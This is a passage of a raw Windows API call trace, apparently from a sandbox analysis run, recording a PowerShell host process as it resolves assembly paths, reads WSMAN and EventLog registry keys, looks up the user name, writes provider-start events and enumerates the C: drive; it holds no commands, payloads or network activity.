lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.310] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec8b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.311] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec670, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.561] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.562] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0244.582] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0244.583] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0xed1b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0244.653] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.653] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.653] CoTaskMemFree (pv=0x254e30) [0244.655] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.655] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.655] CoTaskMemFree (pv=0x254e30) [0244.656] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.656] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.656] CoTaskMemFree (pv=0x254e30) [0244.657] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.657] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.657] CoTaskMemFree (pv=0x254e30) [0244.678] CoTaskMemFree (pv=0x254e30) [0244.686] CoTaskMemFree (pv=0x254e30) [0244.687] CoTaskMemFree (pv=0x254e30) [0244.695] RegQueryInfoKeyW (in: hKey=0x308, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed2fc, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed2f8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed2fc*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed2f8*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0244.695] CoTaskMemFree (pv=0x0) [0244.695] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0244.695] RegEnumValueW (in: hKey=0x308, dwIndex=0x0, lpValueName=0x2a2d80, lpcchValueName=0xed3a8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xed3a8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.789] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WSMAN", ulOptions=0x0, samDesired=0x20019, phkResult=0xed348 | out: phkResult=0xed348*=0x30c) returned 0x0 [0244.789] RegQueryInfoKeyW (in: hKey=0x30c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed24c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed248, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed24c*=0x6, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed248*=0x3, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0244.789] CoTaskMemFree (pv=0x0) [0244.790] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0244.790] RegEnumValueW (in: hKey=0x30c, dwIndex=0x0, lpValueName=0x2a2d80, lpcchValueName=0xed2f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="StackVersion", lpcchValueName=0xed2f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.790] CoTaskMemFree (pv=0x2a2d80) [0244.790] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0244.790] RegEnumValueW (in: hKey=0x30c, dwIndex=0x1, lpValueName=0x2a2d80, lpcchValueName=0xed2f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="SupportsCompatListeners", lpcchValueName=0xed2f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.790] CoTaskMemFree (pv=0x2a2d80) [0244.790] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0244.790] RegEnumValueW (in: hKey=0x30c, dwIndex=0x2, lpValueName=0x2a2d80, lpcchValueName=0xed2f8, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="UpdatedConfig", lpcchValueName=0xed2f8, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0244.790] CoTaskMemFree (pv=0x2a2d80) [0244.790] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed2dc, lpData=0x0, lpcbData=0xed2d8*=0x0 | out: lpType=0xed2dc*=0x1, lpData=0x0, lpcbData=0xed2d8*=0x8) returned 0x0 [0244.790] CoTaskMemAlloc (cb=0xc) returned 0x2913d0 [0244.790] RegQueryValueExW (in: hKey=0x30c, lpValueName="StackVersion", lpReserved=0x0, lpType=0xed2ac, lpData=0x2913d0, lpcbData=0xed2a8*=0x8 | out: lpType=0xed2ac*=0x1, lpData="2.0", lpcbData=0xed2a8*=0x8) returned 0x0 [0244.790] CoTaskMemFree (pv=0x2913d0) [0244.791] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.791] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.791] CoTaskMemFree (pv=0x254e30) [0244.803] CoTaskMemAlloc (cb=0x104) returned 0x254e30 [0244.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254e30, nSize=0x80 | out: lpBuffer="") returned 0x0 [0244.803] CoTaskMemFree (pv=0x254e30) [0244.877] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed378 | out: phkResult=0xed378*=0x320) returned 0x0 [0244.889] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0244.889] RegEnumKeyExW (in: hKey=0x320, dwIndex=0x0, lpName=0x2a2d80, lpcchName=0xed378, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed378, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.118] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.119] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.120] CoTaskMemFree (pv=0x1b8445e0) [0245.121] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.121] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.121] CoTaskMemFree (pv=0x2a2d80) [0245.221] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0xed328 | out: phkResult=0xed328*=0x34c) returned 0x0 [0245.221] RegQueryInfoKeyW (in: hKey=0x34c, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xed29c, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed298, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xed29c*=0x9, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xed298*=0x10, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.221] CoTaskMemFree (pv=0x0) [0245.221] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.221] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x0, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.221] CoTaskMemFree (pv=0x2a2d80) [0245.221] CoTaskMemFree (pv=0x0) [0245.221] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.221] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x1, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.221] CoTaskMemFree (pv=0x2a2d80) [0245.221] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x2, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x3, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x4, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Media Center", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x5, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x6, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x7, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.222] RegEnumKeyExW (in: hKey=0x34c, dwIndex=0x8, lpName=0x2a2d80, lpcchName=0xed328, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0xed328, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0245.222] CoTaskMemFree (pv=0x2a2d80) [0245.222] CoTaskMemFree (pv=0x0) [0245.222] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x350) returned 0x0 [0245.222] RegOpenKeyExW (in: hKey=0x350, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x354) returned 0x0 [0245.223] RegOpenKeyExW (in: hKey=0x354, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x358) returned 0x0 [0245.223] RegOpenKeyExW (in: hKey=0x358, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x35c) returned 0x0 [0245.223] RegOpenKeyExW (in: hKey=0x35c, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="Media Center", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x360) returned 0x0 [0245.223] RegOpenKeyExW (in: hKey=0x360, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x364) returned 0x0 [0245.223] RegOpenKeyExW (in: hKey=0x364, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x2 [0245.223] RegOpenKeyExW (in: hKey=0x34c, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0xed388 | out: phkResult=0xed388*=0x0) returned 0x5 [0245.295] RegisterEventSourceW (lpUNCServerName=".", lpSourceName="PowerShell") returned 0x1b9f0008 [0245.298] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d2cd80*="WSMan", lpRawData=0x3d2caf0) returned 1 [0245.305] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.305] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.305] CoTaskMemFree (pv=0x254b00) [0245.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.307] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.308] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.308] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.308] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.309] CoTaskMemFree (pv=0x1b8445e0) [0245.309] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.309] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.309] CoTaskMemFree (pv=0x2a2d80) [0245.310] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d32268*="Alias", lpRawData=0x3d31ff8) returned 1 [0245.312] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.312] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.312] CoTaskMemFree (pv=0x254b00) [0245.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xece90, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.314] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.315] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xecde0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0245.315] CoTaskMemAlloc (cb=0x804) returned 0x1b8445e0 [0245.315] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1b8445e0, nSize=0xed5e8 | out: lpNameBuffer="YKYD69Q\\aETAdzjz", nSize=0xed5e8) returned 0x1 [0245.316] CoTaskMemFree (pv=0x1b8445e0) [0245.316] CoTaskMemAlloc (cb=0x204) returned 0x2a2d80 [0245.316] GetUserNameW (in: lpBuffer=0x2a2d80, pcbBuffer=0xed628 | out: lpBuffer="aETAdzjz", pcbBuffer=0xed628) returned 1 [0245.316] CoTaskMemFree (pv=0x2a2d80) [0245.317] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x6, dwEventID=0x258, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3d37810*="Environment", lpRawData=0x3d375a0) returned 1 [0245.319] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.319] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0245.319] CoTaskMemFree (pv=0x254b00) [0245.320] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.320] GetEnvironmentVariableW (in: lpName="HOMEDRIVE", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="C:") returned 0x2 [0245.320] CoTaskMemFree (pv=0x254b00) [0245.320] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0245.320] GetEnvironmentVariableW (in: lpName="HOMEPATH", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="\\Users\\aETAdzjz") returned 0xf [0245.320] CoTaskMemFree (pv=0x254b00) [0245.321] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0xed190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0245.321] SetErrorMode (uMode=0x1) returned 0x1 [0245.321] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz" (normalized: "c:\\users\\aetadzjz"), fInfoLevelId=0x0, lpFileInformation=0xed3a0 | out: lpFileInformation=0xed3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2329edc0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x7d929a80, ftLastAccessTime.dwHighDateTime=0x1d2f182, ftLastWriteTime.dwLowDateTime=0x7d929a80, ftLastWriteTime.dwHighDateTime=0x1d2f182, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0245.321] SetErrorMode (uMode=0x1) returned 0x1 [0245.527] GetLogicalDrives () returned 0x4 [0245.538] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xecf00, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.539] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0245.539] SetErrorMode (uMode=0x1) returned 0x1 [0245.540] CoTaskMemAlloc (cb=0x68) returned 0x31f140 [0245.540] CoTaskMemAlloc (cb=0x68) returned 0x31f300 [0245.540] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x31f140, nVolumeNameSize=0x32, lpVolumeSerialNumber=0xed370, lpMaximumComponentLength=0xed36c, lpFileSystemFlags=0xed368, lpFileSystemNameBuffer=0x31f300, nFileSystemNameSize=0x32 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0xed370*=0x705ba84c, lpMaximumComponentLength=0xed36c*=0xff, lpFileSystemFlags=0xed368*=0x3e700ff, lpFileSystemNameBuffer="NTFS") returned 1 [0245.540] CoTaskMemFree (pv=0x31f140) [0245.540] CoTaskMemFree (pv=0x31f300) [0245.540] SetErrorMode (uMode=0x1) returned 0x1 [0245.540] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0245.541] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xed0b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.541] SetErrorMode (uMode=0x1) returned 0x1 [0245.541] GetFileAttributesExW (in: lpFileName="C:\\" (normalized: "c:"), fInfoLevelId=0x0, lpFileInformation=0xed310 | out: lpFileInformation=0xed310*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x3c0142d0, ftCreationTime.dwHighDateTime=0x1ca042c, ftLastAccessTime.dwLowDateTime=0x6cd47e0, ftLastAccessTime.dwHighDateTime=0x1d337b1, ftLastWriteTime.dwLowDateTime=0x6cd47e0, ftLastWriteTime.dwHighDateTime=0x1d337b1, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0245.541] SetErrorMode (uMode=0x1) returned 0x1 [0245.541] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0xed0b0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.541] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0xecf60, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0245.542] GetDriveTypeW 